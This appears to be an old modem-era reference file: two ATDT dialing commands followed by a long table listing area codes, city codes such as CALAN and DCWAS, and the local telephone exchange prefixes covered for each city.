Dialing from CAGLE: ATDT12133950221

Dialing from CALAN: ATDT3950221

The Database

‑‑‑‑‑‑‑‑‑‑‑‑

602 AZPHO 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 602 AZPHO 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 602 AZPHO 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 602 AZPHO 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 602 AZPHO 280 285 320 331 336 340 345 350 351 352 370 371 375 376 377 602 AZPHO 379 381 382 389 390 391 392 393 395 396 397 412 420 423 431 602 AZPHO 433 434 435 436 437 438 439 440 441 443 450 451 460 461 464 602 AZPHO 468 470 481 482 483 484 486 490 491 493 494 495 496 497 498 602 AZPHO 528 530 531 534 540 542 543 545 547 548 549 551 553 554 563 602 AZPHO 585 588 589 596 597 598 630 631 640 641 644 649 650 661 678 602 AZPHO 681 693 730 731 732 752 756 759 784 786 788 789 820 821 827 602 AZPHO 829 830 831 832 833 834 835 838 839 840 841 842 843 844 846 602 AZPHO 848 849 852 853 856 860 861 862 863 864 866 867 869 870 872 602 AZPHO 873 876 877 878 879 890 891 892 893 894 895 897 898 899 921 602 AZPHO 924 925 926 929 930 931 932 933 934 935 936 937 938 939 940 602 AZPHO 941 942 943 944 945 946 947 948 949 951 952 953 954 955 956 602 AZPHO 957 961 962 963 964 965 966 967 968 969 970 971 972 973 974 602 AZPHO 975 977 978 979 980 981 985 986 990 991 992 993 994 995 996 602 AZPHO 997 998

1 602 AZPHO 566 583 584 546 492 561 581 582 780 569 586 471 837 373 380 1 602 AZPHO 983 982 984 986 983 671 987 988

714 CACOL 275 276 335 350 351 352 353 354 355 356 357 358 359 360 369 714 CACOL 370 381 382 383 384 386 387 422 431 602 681 682 683 684 685 714 CACOL 686 687 688 689 749 780 781 782 783 784 785 787 788 789 790 714 CACOL 791 792 793 794 795 796 797 798 799 820 822 823 824 825 829 714 CACOL 872 873 874 875 876 877 880 881 882 883 884 885 886 887 888 714 CACOL 889

1 213 CAGLE 201 202 203 204 205 221 222 223 224 225 226 227 228 229 230 1 213 CAGLE 236 237 238 239 245 250 251 252 253 254 255 256 257 258 259 1 213 CAGLE 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 1 213 CAGLE 285 286 287 288 289 303 310 314 315 319 340 341 342 343 345 1 213 CAGLE 347 351 353 362 380 381 382 383 384 385 386 387 388 389 392 1 213 CAGLE 393 394 395 396 399 400 413 415 450 451 452 453 454 455 458 1 213 CAGLE 459 460 461 462 463 464 465 466 467 468 469 480 481 482 483 1 213 CAGLE 484 485 486 487 488 489 520 550 551 552 553 556 557 558 559 1 213 CAGLE 573 580 612 613 614 617 619 620 621 622 623 624 625 626 627 1 213 CAGLE 628 629 650 651 652 653 654 655 656 657 658 659 660 661 662 1 213 CAGLE 663 664 665 666 667 668 669 680 681 682 683 684 686 687 688 1 213 CAGLE 689 714 730 731 732 733 734 735 736 737 738 739 740 741 742 1 213 CAGLE 743 744 745 746 747 748 749 765 785 828 829 836 837 838 839 1 213 CAGLE 840 841 842 849 850 851 852 854 855 856 857 858 859 870 871 1 213 CAGLE 872 873 874 875 876 877 878 879 891 892 893 894 895 896 912 1 213 CAGLE 913 930 931 932 933 934 935 936 937 938 939 955 960 962 963 1 213 CAGLE 964 965 966 967 968 969 972 974 975 977

818 CAGLE 200 240 241 242 243 244 246 247 248 249 301 303 304 350 351 818 CAGLE 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 818 CAGLE 367 368 370 371 372 373 374 375 376 377 378 379 381 382 393 818 CAGLE 397 398 399 400 401 402 403 404 405 406 409 440 441 442 443 818 CAGLE 444 445 446 447 448 449 450 459 500 501 502 503 504 505 506 818 CAGLE 507 508 509 528 542 545 546 547 548 560 564 565 566 567 568 818 CAGLE 569 574 575 577 578 579 580 584 753 754 760 761 762 763 764 818 CAGLE 765 766 767 768 769 777 780 781 782 783 784 785 786 787 788 818 CAGLE 789 790 791 792 793 794 795 796 797 798 799 818 821 831 840 818 CAGLE 841 842 843 845 846 847 848 890 891 892 893 894 895 896 897 818 CAGLE 898 899 901 902 903 904 905 906 907 908 909 951 952 953 954 818 CAGLE 955 956 957 972 980 981 982 983 984 985 986 987 988 989 990 818 CAGLE 994 995 997

213 CALAN 200 201 202 203 204 205 206 207 208 209 212 214 215 216 217 213 CALAN 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 213 CALAN 234 235 236 237 238 239 241 245 248 249 250 251 252 253 254 213 CALAN 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 213 CALAN 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 213 CALAN 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 213 CALAN 300 301 302 303 304 305 306 307 308 309 310 312 313 314 315 213 CALAN 316 318 319 320 321 322 323 324 327 328 329 330 331 213 CALAN 334 335 336 337 338 340 341 342 343 345 347 351 353 362 370 213 CALAN 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 213 CALAN 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 213 CALAN 402 404 406 408 410 412 413 414 415 416 417 418 419 440 442 213 CALAN 443 444 445 446 447 450 451 452 453 454 455 458 459 460 461 213 CALAN 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 213 CALAN 477 478 479 480 481 482 483 484 485 486 487 488 489 500 512 213 CALAN 515 516 520 527 531 532 533 535 536 537 538 540 541 542 543 213 CALAN 544 545 546 550 551 552 553 554 556 557 558 559 560 561 562 213 CALAN 563 564 565 566 567 568 569 573 574 578 580 581 582 583 584 213 CALAN 585 586 587 588 589 600 601 602 603 604 605 606 607 608 609 213 CALAN 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 213 CALAN 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 213 CALAN 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 213 CALAN 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 213 CALAN 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 213 CALAN 687 688 689 692 693 695 696 698 699 700 702 703 712 713 714 213 CALAN 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 213 CALAN 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 213 CALAN 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 213 CALAN 760 761 762 763 764 765 769 770 771 772 773 774 775 776 777 213 CALAN 778 779 780 781 782 783 785 791 794 801 802 803 804 806 807 213 CALAN 809 812 813 814 819 820 821 822 823 824 825 826 827 828 829 213 CALAN 836 837 838 839 840 841 842 846 849 850 851 852 854 855 856 213 CALAN 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 213 CALAN 872 873 874 875 876 877 878 879 881 887 888 889 891 892 893 213 CALAN 894 895 896 903 904 907 908 912 913 920 921 922 923 924 925 213 CALAN 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 213 CALAN 941 942 944 945 946 948 949 955 960 962 963 964 965 966 967 213 CALAN 968 969 970 971 972 973 974 975 977 978 979

1 818 CALAN 200 240 241 242 243 244 246 247 280 281 282 284 285 286 287 1 818 CALAN 288 289 300 301 302 303 307 308 309 350 357 358 359 401 402 1 818 CALAN 409 442 443 444 445 446 447 448 450 451 457 458 459 500 502 1 818 CALAN 507 529 545 546 547 548 570 571 572 573 574 575 576 579 580 1 818 CALAN 805 821 956

415 CAOAK 200 222 223 227 231 232 233 234 235 236 237 241 243 251 252 415 CAOAK 253 254 255 256 261 262 263 264 265 267 268 269 271 272 273 415 CAOAK 274 276 278 279 282 283 284 285 287 291 292 295 296 297 298 415 CAOAK 302 339 346 351 352 357 362 374 376 385 391 392 393 394 395 415 CAOAK 396 397 398 399 420 421 425 428 430 431 433 434 436 437 441 415 CAOAK 442 444 445 446 448 451 452 464 465 466 474 477 478 481 482 415 CAOAK 483 486 495 521 522 523 524 525 526 527 528 529 530 531 532 415 CAOAK 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 415 CAOAK 548 549 550 552 553 554 556 557 558 559 561 562 563 565 567 415 CAOAK 568 569 576 577 581 582 596 597 620 621 622 624 626 627 631 415 CAOAK 632 633 635 636 638 639 641 642 643 644 645 647 648 649 652 415 CAOAK 653 654 655 658 660 667 668 670 673 677 678 695 724 727 729 415 CAOAK 732 733 736 739 741 743 746 748 749 758 762 763 764 765 768 415 CAOAK 769 771 772 773 774 775 776 777 781 782 783 784 785 786 788 415 CAOAK 799 820 821 822 824 826 831 832 834 835 836 837 838 839 840 415 CAOAK 841 843 845 848 849 860 861 863 864 865 869 874 881 882 884 415 CAOAK 885 886 887 888 889 891 893 894 895 896 921 922 923 928 929 415 CAOAK 930 931 932 933 934 935 936 937 938 939 942 943 944 945 946 415 CAOAK 947 951 953 954 955 956 957 970 971 972 973 974 975 977 978 415 CAOAK 979 981 982 983 984 985 986 987 989 990 995 996 998 999 415 CAPAL 226 276 278 321 322 323 324 325 326 327 328 329 335 336 340 415 CAPAL 341 342 343 344 345 347 348 349 354 358 361 363 364 365 366 415 CAPAL 367 368 369 371 375 377 378 424 429 438 471 475 481 487 489 415 CAPAL 490 493 494 496 497 498 537 538 570 571 572 573 574 578 579 415 CAPAL 581 582 591 592 593 594 595 598 623 637 651 656 657 659 670 415 CAPAL 683 688 691 694 696 722 723 725 727 732 733 745 770 780 782 415 CAPAL 783 784 785 786 790 791 792 793 794 795 796 797 851 852 853 415 CAPAL 854 855 856 857 858 859 881 884 886 887 888 889 926 940 941 415 CAPAL 948 949 960 961 962 964 965 966 967 968 969

916 CASAC 278 321 322 323 324 325 326 327 328 329 331 332 334 338 339 916 CASAC 344 348 349 351 353 355 361 362 363 364 366 368 369 371 372 916 CASAC 373 381 383 386 387 388 391 392 393 394 395 399 421 422 423 916 CASAC 424 425 427 428 429 440 441 442 443 444 445 446 447 448 449 916 CASAC 451 452 453 454 455 456 457 480 481 482 483 484 485 486 487 916 CASAC 488 489 531 535 537 539 551 552 553 557 567 568 593 631 635 916 CASAC 636 638 641 643 646 648 649 653 654 657 665 682 683 684 685 916 CASAC 686 687 688 689 721 722 723 725 726 727 728 729 731 732 733 916 CASAC 734 736 737 739 745 747 761 762 763 764 765 766 767 768 785 916 CASAC 852 855 863 920 921 922 923 924 925 927 928 929 933 939 944 916 CASAC 951 957 961 962 965 966 967 969 971 972 973 974 978 983 985 916 CASAC 987 988 989 991 992

1 213 CASAN 430 431 433 434 438 439 493 494 498 592 594 596 597 598 797 1 213 CASAN 799 985 987

714 CASAN 220 228 229 236 239 241 250 251 253 255 256 258 259 261 262 714 CASAN 265 282 283 285 289 321 322 323 324 325 326 327 328 329 332 714 CASAN 367 372 373 374 380 385 414 415 418 432 433 441 447 449 455 714 CASAN 458 472 474 475 476 490 491 494 497 499 502 503 509 513 515 714 CASAN 516 517 519 520 521 522 523 524 525 526 527 528 529 530 531 714 CASAN 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 714 CASAN 547 548 549 550 551 552 553 554 556 557 558 559 565 566 567 714 CASAN 568 569 572 579 581 582 583 586 587 588 589 630 631 632 633 714 CASAN 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 714 CASAN 649 650 651 660 662 663 664 665 666 667 668 669 670 671 673 714 CASAN 675 680 691 692 693 707 708 712 720 721 722 723 724 725 726 714 CASAN 727 729 730 731 732 733 738 739 740 741 742 743 744 745 746 714 CASAN 747 748 750 751 752 754 755 756 757 758 759 760 761 762 764 714 CASAN 768 770 771 772 773 774 775 776 777 778 779 786 821 826 827 714 CASAN 828 830 831 832 833 834 835 836 837 838 839 840 841 842 843 714 CASAN 846 847 848 850 851 852 854 855 856 857 858 859 863 870 871 714 CASAN 879 890 891 892 893 894 895 896 897 898 921 937 938 939 951 714 CASAN 952 953 954 955 956 957 960 961 962 963 964 965 966 968 969 714 CASAN 970 971 972 973 974 975 977 978 979 990 991 992 993 994 995 714 CASAN 996 997 998 999

619 CASDI 221 222 223 224 225 226 229 230 231 232 233 234 235 236 237 619 CASDI 238 239 258 260 262 263 264 265 266 267 268 270 271 272 273 619 CASDI 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 619 CASDI 289 290 291 292 293 294 295 296 297 298 299 336 338 390 401 619 CASDI 404 406 408 412 413 416 417 419 420 421 422 423 424 425 426 619 CASDI 427 428 429 435 437 440 441 442 443 444 447 448 449 450 451 619 CASDI 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 619 CASDI 469 470 472 474 475 476 477 479 482 483 484 485 487 488 490 619 CASDI 491 492 493 494 495 496 497 502 505 506 508 514 518 522 524 619 CASDI 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 619 CASDI 540 541 542 543 544 545 546 547 548 549 551 552 553 554 556 619 CASDI 557 558 559 560 561 562 563 565 566 569 570 571 573 574 575 619 CASDI 576 578 579 580 581 582 583 584 585 586 587 588 589 592 594 619 CASDI 604 660 661 662 668 669 670 672 673 690 691 692 693 694 695 619 CASDI 696 697 698 699 701 702 717 980 981 987 990 991

415 CASFA 200 221 227 231 232 233 234 235 236 237 239 241 243 244 251 415 CASFA 252 255 257 258 259 261 263 264 266 267 268 269 271 272 273 415 CASFA 274 279 282 285 287 289 291 292 296 298 302 330 331 332 333 415 CASFA 334 337 338 339 340 341 342 343 344 345 346 347 348 349 355 415 CASFA 358 359 362 371 374 375 377 378 381 383 385 386 387 388 389 415 CASFA 391 392 393 394 395 396 397 398 399 420 421 428 431 433 434 415 CASFA 435 436 437 441 442 444 445 446 448 451 452 453 454 456 457 415 CASFA 459 461 464 465 466 467 468 469 472 474 476 477 478 479 482 415 CASFA 485 488 491 492 495 499 502 521 522 523 530 531 532 533 534 415 CASFA 535 536 539 541 542 543 544 545 546 547 550 552 553 554 556 415 CASFA 557 558 561 563 564 565 566 567 570 571 572 573 574 576 578 415 CASFA 579 583 584 585 586 587 588 589 596 597 620 621 622 624 626 415 CASFA 627 641 645 647 648 652 653 654 655 658 660 661 664 665 666 415 CASFA 668 673 677 681 692 695 696 697 721 722 731 737 738 739 742 415 CASFA 748 749 750 751 752 753 755 756 759 761 762 763 764 765 768 415 CASFA 769 771 772 773 774 775 776 777 781 788 789 821 822 824 826 415 CASFA 832 834 835 836 839 840 860 861 863 864 865 869 871 872 873 415 CASFA 874 875 876 877 878 882 885 891 893 894 896 921 922 923 924 415 CASFA 925 927 928 929 931 936 951 952 953 954 955 956 957 970 971 415 CASFA 972 973 974 978 979 981 982 983 984 985 986 987 989 990 991 415 CASFA 992 993 994 995 996 997 998 999

408 CASJO 221 223 224 225 226 227 234 235 236 237 238 241 243 244 245 408 CASJO 246 247 248 249 251 252 253 255 256 257 258 259 262 263 264 408 CASJO 265 266 267 268 269 270 272 274 275 276 277 279 280 281 282 408 CASJO 283 284 285 286 287 288 289 291 292 293 294 295 296 297 298 408 CASJO 299 332 345 353 354 356 358 365 370 371 374 376 377 378 379 408 CASJO 395 398 399 432 433 434 435 436 437 441 446 447 448 452 453 408 CASJO 463 473 491 492 496 499 522 524 534 552 553 554 559 562 575 408 CASJO 578 629 720 721 723 725 727 729 730 732 733 734 735 736 737 408 CASJO 738 739 741 742 743 744 745 746 747 748 749 752 756 765 773 408 CASJO 864 865 866 867 879 920 922 923 924 925 926 927 929 942 943 408 CASJO 945 946 947 954 957 970 971 972 973 974 977 978 980 982 983 408 CASJO 984 985 986 987 988 989 991 992 993 994 995 996 997 998 1 415 CASJO 226 335 336 438 490 498 623 651 656 657 659 683 691 694 77 1 415 CASJO 940 941 948 949 960 961 962 964 965 966 967 968 969 303 CODEN 200 220 230 231 232 233 234 235 236 237 238 239 252 255 261 303 CODEN 266 270 271 273 277 278 279 280 281 286 287 288 289 290 291 303 CODEN 292 293 294 295 296 297 298 299 320 321 322 329 331 333 337 303 CODEN 340 341 343 344 348 355 360 361 363 364 366 367 368 369 370 303 CODEN 371 372 373 375 377 388 393 394 397 398 399 420 421 422 423 303 CODEN 424 425 426 427 428 429 430 431 433 440 441 442 443 444 447 303 CODEN 449 450 451 452 455 457 458 460 461 465 466 467 469 470 477 303 CODEN 478 480 492 494 497 499 526 530 534 538 556 571 572 573 575 303 CODEN 581 592 595 620 623 624 628 629 631 639 640 642 643 649 650 303 CODEN 654 657 659 660 665 666 670 671 673 674 676 680 681 688 689 303 CODEN 690 691 692 693 694 695 696 697 698 699 720 721 722 727 730 303 CODEN 733 739 740 741 743 744 745 750 751 752 753 755 756 757 758 303 CODEN 759 760 761 762 763 764 766 770 771 773 777 778 779 780 781 303 CODEN 782 786 787 788 789 790 791 792 793 794 795 796 797 798 799 303 CODEN 820 821 825 826 829 830 831 832 836 837 839 840 841 843 844 303 CODEN 850 851 855 860 861 863 866 868 869 871 877 880 888 889 890 303 CODEN 891 892 893 894 896 898 899 922 924 930 932 933 934 935 936 303 CODEN 937 938 939 940 964 965 966 969 971 972 973 977 978 979 980 303 CODEN 985 986 987 988 989

203 CTHAR 223 224 225 229 231 232 233 236 240 241 242 243 244 246 247 203 CTHAR 249 252 257 258 273 275 277 278 279 280 282 285 286 289 291 203 CTHAR 292 293 296 297 298 299 520 521 522 523 524 525 527 528 529 203 CTHAR 547 548 549 557 559 560 561 563 565 566 568 569 623 627 633 203 CTHAR 643 644 645 646 647 648 649 651 653 654 657 658 659 660 665 203 CTHAR 666 667 668 673 674 675 676 677 678 679 683 688 693 721 722 203 CTHAR 724 725 726 727 728 826 827 828 829 841 843 870 871 872 875 203 CTHAR 930 936 951 952 953 954

202 DCWAS 200 204 206 207 208 209 210 213 214 217 218 220 222 223 224 202 DCWAS 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 202 DCWAS 240 241 242 243 244 245 246 247 248 249 250 251 252 254 255 202 DCWAS 256 258 259 260 262 263 264 265 266 267 268 269 270 271 272 202 DCWAS 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 202 DCWAS 288 289 291 292 293 294 295 296 297 298 299 306 307 309 310 202 DCWAS 317 319 320 321 322 323 324 325 326 328 329 330 331 332 333 202 DCWAS 334 336 337 338 339 340 341 342 343 344 345 346 347 348 350 202 DCWAS 351 352 353 354 355 356 357 358 359 360 362 363 364 365 366 202 DCWAS 369 370 371 372 373 374 376 377 378 379 380 382 383 384 385 202 DCWAS 386 387 388 389 390 391 392 393 394 395 396 397 398 399 401 202 DCWAS 402 403 404 406 407 408 409 415 416 417 418 420 421 422 423 202 DCWAS 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 202 DCWAS 439 440 441 442 443 444 445 447 448 449 450 451 452 453 454 202 DCWAS 455 456 457 458 459 460 461 462 463 464 466 467 468 469 470 202 DCWAS 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 202 DCWAS 486 487 488 490 492 493 495 496 497 498 499 501 502 503 504 202 DCWAS 505 506 507 509 513 514 516 517 519 520 521 522 523 524 525 202 DCWAS 526 527 528 529 530 532 533 534 535 536 537 538 539 540 541 202 DCWAS 542 543 544 545 546 547 548 549 550 551 552 553 554 556 557 202 DCWAS 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 202 DCWAS 573 574 575 576 577 578 580 581 582 583 584 585 586 587 588 202 DCWAS 589 590 591 592 593 595 597 598 599 601 602 603 604 605 606 202 DCWAS 608 610 613 618 619 620 622 623 624 625 626 627 628 630 631 202 DCWAS 632 633 634 635 636 637 638 639 640 641 642 643 644 646 647 202 DCWAS 648 649 650 651 652 653 654 656 657 658 659 660 661 662 663 202 DCWAS 664 665 666 667 668 669 670 671 673 675 676 678 679 680 681 202 DCWAS 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 202 DCWAS 697 698 699 702 706 707 708 709 712 713 714 715 719 722 723 202 DCWAS 724 725 726 727 728 731 732 733 734 735 736 737 738 739 742 202 DCWAS 745 746 749 750 751 752 753 755 756 758 759 760 761 762 763 202 DCWAS 764 765 767 768 769 770 772 773 774 775 776 778 779 780 781 202 DCWAS 783 784 785 786 787 789 790 794 795 797 799 801 802 803 805 202 DCWAS 806 807 808 812 815 816 817 818 820 821 822 823 824 825 826 202 DCWAS 827 828 829 830 832 833 834 835 836 837 838 839 840 841 842 202 DCWAS 843 844 845 846 847 848 849 850 851 852 853 856 857 860 861 202 DCWAS 862 863 864 865 866 868 869 870 871 872 874 875 876 877 879 202 DCWAS 881 882 883 885 887 888 889 890 891 892 893 894 895 896 897 202 DCWAS 898 899 901 904 906 907 912 913 914 916 917 920 921 922 924 202 DCWAS 925 926 927 928 929 930 931 933 934 935 936 937 938 939 940 202 DCWAS 941 942 943 944 946 947 948 949 951 952 953 954 955 956 957 202 DCWAS 960 961 962 963 965 966 967 968 971 972 974 975 977 978 979 202 DCWAS 980 981 982 983 984 985 986 989 990 991 994 996 998

1 301 DCWAS 206 209 210 217 220 227 229 230 231 236 238 240 248 249 251 1 301 DCWAS 258 262 270 277 279 283 286 292 294 295 297 299 306 309 317 1 301 DCWAS 320 322 330 336 340 341 344 345 350 353 365 369 372 380 384 1 301 DCWAS 386 390 394 402 403 409 417 420 421 422 423 424 427 428 431 1 301 DCWAS 434 436 439 441 443 445 449 454 459 460 464 468 469 470 474 1 301 DCWAS 480 490 492 493 495 496 497 498 499 502 505 507 509 513 520 1 301 DCWAS 530 540 552 559 564 565 567 568 570 571 572 577 580 585 587 1 301 DCWAS 588 589 590 593 595 598 599 601 604 608 618 622 627 630 640 1 301 DCWAS 649 650 652 654 656 657 670 680 681 688 699 702 713 725 731 1 301 DCWAS 735 736 738 753 762 763 770 772 773 774 776 779 794 805 807 1 301 DCWAS 808 816 839 840 843 851 852 853 856 864 868 869 870 871 881 1 301 DCWAS 888 890 891 894 897 899 907 913 916 921 924 925 926 927 929 1 301 DCWAS 930 933 935 937 940 942 946 948 949 951 952 953 961 963 967 1 301 DCWAS 972 975 977 980 981 982 983 984 985 986 989 990

1 703 DCWAS 204 207 214 218 222 235 237 239 241 242 243 246 247 250 255 1 703 DCWAS 256 260 263 264 266 271 273 274 276 278 280 281 284 285 321 1 703 DCWAS 323 325 329 339 351 352 354 355 356 358 359 360 370 378 379 1 703 DCWAS 385 391 406 407 415 418 425 430 435 437 438 440 442 444 448 1 703 DCWAS 450 451 455 461 471 476 478 481 482 486 487 503 506 516 517 1 703 DCWAS 519 521 522 524 525 527 528 532 533 534 536 538 548 549 550 1 703 DCWAS 551 553 556 557 558 560 569 573 578 591 602 603 620 631 641 1 703 DCWAS 642 643 644 648 658 660 661 664 671 683 684 685 689 690 691 1 703 DCWAS 698 706 709 712 715 719 733 734 739 742 746 749 750 751 756 1 703 DCWAS 758 759 760 761 764 765 768 769 780 781 787 790 795 799 802 1 703 DCWAS 803 815 817 818 820 821 823 824 826 827 830 834 836 838 841 1 703 DCWAS 845 846 847 848 849 850 860 866 874 875 876 883 892 893 904 1 703 DCWAS 912 914 920 922 931 934 938 941 960 968 971 974 978 979 998 305 FLMIA 220 221 222 223 224 226 227 230 232 233 235 238 242 245 246 305 FLMIA 247 248 250 251 252 253 254 255 257 258 261 262 263 264 266 305 FLMIA 267 268 270 271 274 279 284 285 324 325 326 327 329 332 342 305 FLMIA 343 347 348 349 350 352 353 354 358 361 362 363 364 365 366 305 FLMIA 371 372 373 374 375 376 377 378 379 380 381 382 385 386 387 305 FLMIA 388 397 399 441 442 443 444 445 446 447 448 449 460 464 470 305 FLMIA 471 477 478 520 526 529 530 531 532 534 535 536 538 539 541 305 FLMIA 542 543 544 545 547 548 549 550 551 552 553 554 556 557 558 305 FLMIA 559 560 567 571 573 575 576 577 578 579 590 591 592 593 594 305 FLMIA 595 596 598 599 620 621 623 624 625 628 633 634 635 636 637 305 FLMIA 638 642 643 644 649 651 652 653 654 661 662 663 665 666 667 305 FLMIA 669 670 672 673 674 681 685 687 688 691 693 694 696 751 754 305 FLMIA 756 757 758 759 762 769 770 773 775 780 787 789 794 795 821 305 FLMIA 822 823 825 827 829 835 836 854 855 856 858 859 861 864 865 305 FLMIA 866 867 868 871 873 874 876 880 881 882 883 884 885 886 887 305 FLMIA 888 889 891 892 893 895 899 931 932 933 935 937 939 940 944 305 FLMIA 945 947 948 949 951 952 953 956 957 993 995

407 FLORL 222 228 236 237 238 239 240 244 246 247 249 256 257 260 262 407 FLORL 263 273 275 277 281 282 290 291 292 293 294 295 297 298 299 407 FLORL 327 331 332 339 341 342 345 351 352 354 356 363 365 366 380 407 FLORL 381 382 420 422 423 424 425 438 469 539 560 568 578 579 623 407 FLORL 628 629 644 645 646 647 648 649 651 656 657 658 660 661 671 407 FLORL 672 675 677 678 679 682 695 696 699 740 767 774 788 823 824 407 FLORL 825 826 827 828 830 831 834 836 839 841 843 849 850 851 855 407 FLORL 856 857 859 862 869 872 875 876 877 880 884 886 889 894 895 407 FLORL 896 897 898 899 934 939

813 FLTAM 221 222 223 224 225 226 227 228 229 231 232 234 236 237 238 813 FLTAM 239 240 241 242 247 248 251 253 254 258 259 264 265 272 273 813 FLTAM 276 281 286 287 289 620 621 622 623 626 628 633 634 641 645 813 FLTAM 653 654 661 662 664 671 677 681 684 685 689 690 830 831 832 813 FLTAM 835 837 839 840 854 855 870 871 872 873 874 875 876 877 878 813 FLTAM 879 880 881 882 883 884 885 886 887 888 889 920 931 932 933 813 FLTAM 935 948 949 960 961 962 963 968 969 971 972 973 974 977 978 813 FLTAM 979 980 985 986 987 988 989 990 996

404 GAATL 200 212 215 220 221 222 223 225 230 231 233 237 238 239 240 404 GAATL 241 242 243 244 246 247 248 249 250 252 255 256 257 260 261 404 GAATL 262 263 264 266 270 271 279 280 281 284 286 288 289 292 294 404 GAATL 296 297 299 310 312 313 314 315 316 319 320 321 325 329 330 404 GAATL 331 332 333 339 341 343 344 346 347 348 349 350 351 352 355 404 GAATL 360 361 362 363 364 365 366 368 370 371 372 373 377 378 380 404 GAATL 381 383 388 389 390 391 392 393 394 395 396 399 413 416 417 404 GAATL 420 421 422 423 424 425 426 427 428 429 431 432 433 434 435 404 GAATL 436 438 439 441 442 443 445 446 447 448 449 451 452 454 455 404 GAATL 457 458 460 461 463 466 469 471 473 474 475 476 477 478 482 404 GAATL 483 484 487 488 489 491 493 494 496 497 498 499 505 508 512 404 GAATL 513 515 520 521 522 523 524 525 526 527 528 529 530 533 550 404 GAATL 551 552 558 559 564 565 566 570 572 573 577 578 580 581 584 404 GAATL 586 587 588 589 590 591 593 594 603 607 610 618 619 621 622 404 GAATL 623 624 626 627 631 633 634 636 639 640 641 642 651 653 656 404 GAATL 658 659 661 662 664 668 669 671 676 679 680 681 683 686 688 404 GAATL 690 691 696 697 698 699 712 717 723 726 727 728 729 730 732 404 GAATL 739 740 741 744 750 751 752 753 755 756 758 760 761 762 763 404 GAATL 765 766 767 768 772 774 785 792 794 799 804 808 810 815 822 404 GAATL 827 833 835 837 839 840 841 842 843 847 848 850 851 852 853 404 GAATL 859 870 871 872 873 874 875 876 877 879 880 881 885 888 890 404 GAATL 892 894 897 898 899 907 916 920 921 922 923 924 925 926 928 404 GAATL 929 932 933 934 936 938 939 941 942 943 944 945 946 948 949 404 GAATL 951 952 953 954 955 956 957 960 961 962 963 964 968 969 971 404 GAATL 972 973 974 975 977 978 979 980 981 982 984 985 986 987 988 404 GAATL 991 992 993 994 995 996 997 998 999

312 ILCHI 202 204 207 214 220 221 222 224 225 226 227 229 230 233 235 312 ILCHI 236 237 238 239 241 242 243 245 247 248 252 254 261 262 263 312 ILCHI 264 265 266 267 268 269 271 273 274 275 276 277 278 280 281 312 ILCHI 282 283 284 285 286 287 288 292 294 302 306 308 313 321 322 312 ILCHI 324 326 327 329 332 334 337 338 341 342 346 347 348 353 363 312 ILCHI 368 372 373 374 375 376 378 379 380 384 404 407 408 410 413 312 ILCHI 413 415 417 419 421 427 431 434 435 436 440 443 444 445 454 312 ILCHI 461 463 465 467 468 471 472 476 477 478 483 486 487 488 489 312 ILCHI 493 507 508 509 514 521 522 523 525 527 528 533 536 538 539 312 ILCHI 542 545 548 549 558 559 561 565 567 568 569 580 581 582 583 312 ILCHI 585 586 588 589 591 592 601 602 604 606 609 621 622 624 625 312 ILCHI 626 630 631 633 637 638 641 642 643 644 645 646 648 649 650 312 ILCHI 651 660 661 663 664 666 667 670 684 685 686 693 694 701 702 312 ILCHI 703 704 707 712 715 716 718 721 722 723 725 726 727 728 731 312 ILCHI 732 733 734 735 736 737 738 743 744 745 750 751 752 753 760 312 ILCHI 761 762 763 764 765 767 768 769 770 772 774 775 776 777 778 312 ILCHI 779 781 782 783 784 785 786 787 791 792 793 794 796 797 802 312 ILCHI 804 805 807 808 812 814 819 821 822 826 828 829 836 838 842 312 ILCHI 845 846 847 853 854 855 856 861 871 873 874 875 876 878 880 312 ILCHI 881 883 886 889 890 899 901 902 903 906 907 908 909 915 917 312 ILCHI 918 921 922 923 924 925 927 928 929 930 933 935 936 938 939 312 ILCHI 942 943 944 947 951 955 962 973 975 977 978 984 987 988 989 312 ILCHI 992 993 994 995 996 997

